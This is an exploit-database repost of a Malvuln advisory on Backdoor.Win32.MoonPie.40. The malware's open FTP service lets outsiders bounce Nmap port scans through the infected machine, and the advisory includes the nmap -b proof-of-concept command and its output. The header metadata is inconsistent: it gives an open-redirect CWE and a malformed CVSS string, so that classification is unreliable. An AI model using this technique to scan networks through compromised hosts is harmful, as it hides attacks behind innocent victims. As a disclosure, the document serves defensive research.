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Backdoor.Win32.MoonPie.40 / Port Bounce Scan

CVE Category Price Severity
N/A CWE-601: URL Redirection to Untrusted Site ('Open Redirect') Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2021-09-04
CVSS
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021090012

Below is a copy:

Backdoor.Win32.MoonPie.40 / Port Bounce Scan
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9dbb6d56bc9a7813305883acd0f9a355_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MoonPie.40
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 25686, its FTP component accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 9dbb6d56bc9a7813305883acd0f9a355
Vuln ID: MVID-2021-0333
Disclosure: 09/01/2021


Exploit/PoC:
nmap -n -Pn -b mal:[email protected]:25686 -p21,22,80 192.168.18.237
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-31 19:05 Pacific Daylight Time
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds


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